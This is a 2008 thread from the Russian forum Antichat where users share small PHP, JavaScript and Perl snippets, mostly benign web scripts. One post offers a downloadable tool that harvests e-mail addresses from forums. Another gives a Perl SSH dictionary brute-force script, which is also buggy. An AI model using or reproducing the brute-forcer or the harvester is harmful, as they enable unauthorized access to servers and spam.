Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

03.01.2008, 16:46
|
Регистрация: 18.02.2006
Сообщений: 1,090
Провел на форуме: 6489333
Репутация:
1564
|
|
поищи по форуму, кто то точно писал... ток непомню кто
|
|
|
Скрипт создания пустых файлов |

05.01.2008, 20:09
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Скрипт создания пустых файлов
Так как тему удалили, выложу сюда, чтоб вопросов таких больше не возникало:
PHP код:
<?
set_time_limit(0);
$limit=100; // предельное колличество файлов
for ($i = 1; $i <= $limit; $i++)
{
$fp = fopen ("$i.txt", "w");
fclose($fp);
}
?>
Последний раз редактировалось -=lebed=-; 05.01.2008 в 20:19..
|
|
|

13.01.2008, 21:44
|
|
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме: 2052669
Репутация:
178
|
|
Ёжик бегающий на сайте
index.html
Код:
<script language="JavaScript1.2" src=ezjik.js></script>
<script language="JavaScript1.2">
if (flag) {
content = '';
createLayer('cnt', 0, 0, true, content);
var num = 10;
var flakes = new Array(num);
for (var i = 0; i < num; i++) {
flakes[i] = new Flake('flake' + i);
content = '<img src="egw' + i + '.gif" alt="А_ёжик_то_бежит_' + i + '" border=0 width=15 height=21></a>';
createLayer(flakes[i].name, 0, 0, false, content);
}
startFlakes();
}
</script>
ezjik.js
Код:
var bV=parseInt(navigator.appVersion);
var ns=(document.layers) ? 1 : 0;
var ie=((document.getElementById) && (bV >= 4)) ? 1 : 0;
var ff = ((navigator.appName == "Netscape") && (bV >= 5)) ? 1 : 0;
var flag = (ns || ie) ? 1 : 0;
var timerID;
var timerIDl;
var timerIDr;
var kurs = -0.5;
var nomer = 0;
var lasta = 8;
var egx = 0;
var egy = 0;
var egvx = 4;
var egvy = 2;
var tut = 200;
var vmin = 1;
var vmax = 10;
var vr = 5;
function createLayer(name, left, top, visible, content) {
var layer;
if (ns) {
document.writeln('<layer name="' + name + '" left=' + left + ' top=' + top + ' width=120 height=84 visibility=' + (visible ? '"show"' : '"hide"') + '>');
document.writeln(content);
document.writeln('</layer>');
layer = getLayer(name);
layer.width = 120;
layer.height = 84;
}
if (ie) {
document.writeln('<div id="' + name + '" style="position:absolute; left:' + left + 'px; top:' + top + 'px; width:120px; height:84px; visibility:' + (visible ? 'visible;' : 'hidden;') + '">');
document.writeln(content);
document.writeln('</div>');
}
}
function Flake(chipname) { this.name = chipname; }
function startFlakes() {
if (!flag) { return; }
var i;
getWindowSize();
egx = pageW * Math.random() + pageX;
egy = pageH * Math.random() + pageY;
for (i = 0; i < flakes.length; i++) {
moveLayer(flakes[i].name, egx, egy);
hideLayer(flakes[i].name);
}
buzz();
}
function moveLayer(name, x, y) {
var layer = getLayer(name);
if (ns) { layer.moveTo(x, y); }
if (ie) { layer.left = x; layer.top = y; }
}
function showLayer(name) {
var layer = getLayer(name);
if (ns) { layer.visibility = "show"; }
if (ie) { layer.visibility = "visible"; }
}
function hideLayer(name) {
var layer = getLayer(name);
if (ns) { layer.visibility = "hide"; }
if (ie) { layer.visibility = "hidden"; }
}
function getLayer(name) {
if (ns) {
return(document.layers[name]);
} else if (ie) {
layer = eval('document.getElementById("' + name + '").style');
return(layer);
} else {
return(null);
}
}
function getWindowSize() {
if(ns || ff) {
pageX=window.pageXOffset;
pageW=window.innerWidth - 20 - 120;
pageY=window.pageYOffset;
pageH=window.innerHeight - 8 - 84;
if (ff) pageH -= 4;
} else {
pageX=document.body.scrollLeft;
pageW=document.body.offsetWidth - 20 - 120;
pageY=document.body.scrollTop;
pageH=document.body.offsetHeight - 8 - 84;
} }
function buzz() {
hideLayer(flakes[ lasta ].name);
getWindowSize();
egx += egvx*kurs*6;
egy += egvy*2;
if(egy >= pageY + pageH) { egvy *= -1; egy = pageY + pageH; }
if(egy <= pageY) { egvy = egvy *= -1; egy = pageY; }
if (egx < pageX) { egx = pageX; }
if (egx > pageX + pageW) { egx = pageX + pageW; }
egvx += vr * (Math.random()-0.5);
if(egvx > vmax) { egvx = vmax*2 - egvx; }
if(egvx < vmin) { egvx = vmin*2 - egvx; }
egvy += (Math.random()-0.5);
if((egvy > (vmax/2))||(egvy < (-vmax)/2)) { egvy = 0; }
if ( (Math.random() > 0.96) || (egx <= pageX) || (egx >= pageX + pageW) )
{
showLayer(flakes[ lasta ].name);
kurs *= -1;
timerID = setTimeout("buzz()", tut*2);
if (kurs < 0)
{
buzr();
timerIDr = setTimeout("buzl()", tut);
}
else
{
buzl();
timerIDr = setTimeout("buzr()", tut);
}
}
else
{
nomer = nomer + 2;
if ( nomer >= 8 ) { nomer = nomer - 8; }
lasta = nomer + 0.5 + kurs;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
timerID = setTimeout("buzz()", tut);
}
}
function buzl() {
hideLayer(flakes[ lasta ].name);
lasta = 8;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
}
function buzr() {
hideLayer(flakes[ lasta ].name);
lasta = 9;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
}
Картинки с ёжиком http://slil.ru/25352370
|
|
|

13.01.2008, 22:08
|
|
Постоянный
Регистрация: 08.10.2006
Сообщений: 445
Провел на форуме: 1028732
Репутация:
80
|
|
Дата + время)
Код:
<SCRIPT type="text/javascript">
var months=new Array(13);
months[1]="января";
months[2]="февраля";
months[3]="марта";
months[4]="апреля";
months[5]="мая";
months[6]="июня";
months[7]="июля";
months[8]="августа";
months[9]="сентября";
months[10]="октября";
months[11]="*ноября";
months[12]="декабря";
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
var hours=time.getHours();
var minutes=time.getMinutes();
if (eval(hours) <10) {hours="0"+hours}
if (eval(minutes) < 10) {minutes="0"+minutes}
if (year < 2000)
year = year + 1900;
document.write("Сейчас: " + date + " ");
document.write(lmonth + " " + year + ", " + hours + ":" + minutes + " ");
</SCRIPT>
|
|
|

14.01.2008, 18:56
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
Нужно поверх картинки поместить URL сайта
тут есть пример http://www.codenet.ru/webmast/php/Image-Resize-GD/ - но текст нельзя каким-то образом позиционировать на картинке
|
|
|

15.01.2008, 01:26
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
В общем не помню, кому именно спасибо за идею (не смог найти), но используя скелет кода, написал прогу для парсинга e-mail с форумов (не судит строго, первый опыт на php, но работает, как не странно), итак:
Forum e-mail parser - e-mail парсер с форумов. Принцип работы - парсит всё мыло с любого вида форумов, но при условии, что вам известны стартовая страница интересующей темы форума и конечная страница интересующей темы форума и динамически изменяющейся величиной в ссылке является ПОСЛЕДНИЙ символ. Пример: http://www.бла-бла-бла.ru/viewtopic.php?t=5821, где 5821 - номер интересующей вас страницы.
В комплекте идут 5 файлов:
1. fmailparser1.0.exe - сама программа
2. url.txt - сюда забиваете url интересующго форума без номера страницы, если посмотреть выше, то:
http://www.бла-бла-бла.ru/viewtopic.php?t=
3. pages_start.txt - сюда забиваете номер страницы, с которой хотите начать сканирование на e-mail. В данном случае -
5821
4. pages_end.txt - сюда забиваете номер последней страницы для сканирования. Например:
5822
5. ReadmeFIRST.txt - этот файл
Просто создайте отдельную директорию, распакуйте туда все 5 файлов, сделайте необходимые настройки и запустите fmailparser1.0.exe и все найденные e-mail будут сохранены в файл emails.txt ( 0,5 мГб )
Еще раз прошу прощения за то, что не смог вспомнить автора идеи, но риспект огроменный.
В архиве лежит пример с реальными параметрами. Просто запустите fmailparser1.0.exe и поймете суть проги.
Скачать здесь: http://pashkela.narod.ru/progi/fmailparser1.0.rar
Последний раз редактировалось Pashkela; 15.01.2008 в 01:35..
|
|
|

15.01.2008, 17:55
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
чистилка кода
для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица)
PHP код:
$dirty = '</td>
</tr>
</table>
<table>
<tr>
<td class="content">код который нужен</td>
</tr>
</table>';
$n = strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места
$clear = substr($dirty, $n);//берем код начиная с символа $n до конца
$clear // - готово
у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил
|
|
|

15.01.2008, 21:58
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме: 1484154
Репутация:
126
|
|
незнаю точно выкладывали ли тут бруте shh если нет то вот он
#!/usr/bin/perl
#c0dex by m0x.lk || ~censored~ Team ||
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
print "\t\t\tc0dex by m0x.lk\n\n";
print "\tm0x.lk || ~censored~ Team";
print "\t\t BruteSSH by m0x.lk\n";
sleep 1;
use strict();
use Net::SSH;
$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;
$t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obteniendo Pass";
print "\n";
print $i++ . ": Fallo - $try\n";
print "'$try - $i intentos";
last;
$t->close;
}
close(IN);
|
|
|

16.01.2008, 22:41
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
функция меняет кусок кода или текста, выделенный вами, на то что хотите:
функция:
PHP код:
<?
function replacer($a, $start, $end, $replacement)
{
if (is_array ($a))
{
for ($i=0; $i<count($a); $i++)
{
$result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a[$i]);
}
}
else
{
$result = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a);
}
return $result;
}
?>
использование:
PHP код:
<?
$a = 'привет, меня зовут Корвин'; //текст или массив в котором нужно произвести замену, если массив то без ' '
$start = 'меня'; //начало заменяемого, это может быть символ или слово, оно тоже будет заменено
$end = 'зовут'; //конец заменяемого
$replacement = 'йа'; //то, на что меняем, если на пустоту, то ставим ' '
$str = replacer($a, $start, $end, $replacement); // готово, измененный текст помещен в $str
echo $str;
//print_r ($str); //если массив
?>
если пригодица,подкиньте репы=)
|
|
|

17.01.2008, 13:50
|
|
Познающий
Регистрация: 06.01.2007
Сообщений: 44
Провел на форуме: 215597
Репутация:
32
|
|
Мой первый сексуальный опыт с пхп.
Граббер радиостанций с shoutcast.org
PHP код:
<table cellpadding="0" cellspacing="0" style="border:1px solid #000000">
<tr>
<th>
<?
if (!$addr){
$EXTERNALPAGE = importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber");
}
else {
$EXTERNALPAGE = importPage($addr);
}
function importPage( $addr ) {
$pattern1 = '|(http://)([^/]*)/{0,1}(.*)|';
$base = "";
if (preg_match($pattern1, $addr, $list)) {
$server = "http://".$list[2];
$fullpath = $list[3];
$pattern11 = '|(.*)/([^/]*)$|';
if ( preg_match($pattern11, $fullpath, $list) ) {
$path = $list[1];
$fname = $list[2];
} else {
$path = "";
$fname = $fullpath;
}
if ($path) $path = "/".$path;
$base = $server.$path;
}
$arr = @file($addr);
if ( !$arr ) return "Page not found!";
$str = join( "", $arr );
$pattern2 = '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei';
if (preg_match($pattern2, $str, $list)) $str = $list[1];
$pattern3 =
'/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
$str = preg_replace($pattern3,
"stripslashes((strpos('\\3','ttp:')<=0) ".
"?((strspn('\\3','/')<=0)".
"?'\\1$base/\\3\\4'".
":'\\1$server\\3\\4' )".
":'\\0')",
$str);
$pattern4 =
'/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
$str = preg_replace($pattern4,
"stripslashes((strpos('\\3','ttp:')<=0)&&".
"(strpos('\\3','ailto:')<=0) &&".
"(Ord('\\3')!=Ord('#')) ".
"?((strspn('\\3','/')<=0)".
"?'\\1$base/\\3\\4'".
":'\\1$server\\3\\4' )".
":'\\0')",
$str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>', 'Description', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>', 'Listeners / Max', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>', 'Bitrate', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>', 'Type', $str);
return $str;
}
?>
<?= $EXTERNALPAGE?>
</th>
</tr>
</table>
ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю... 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|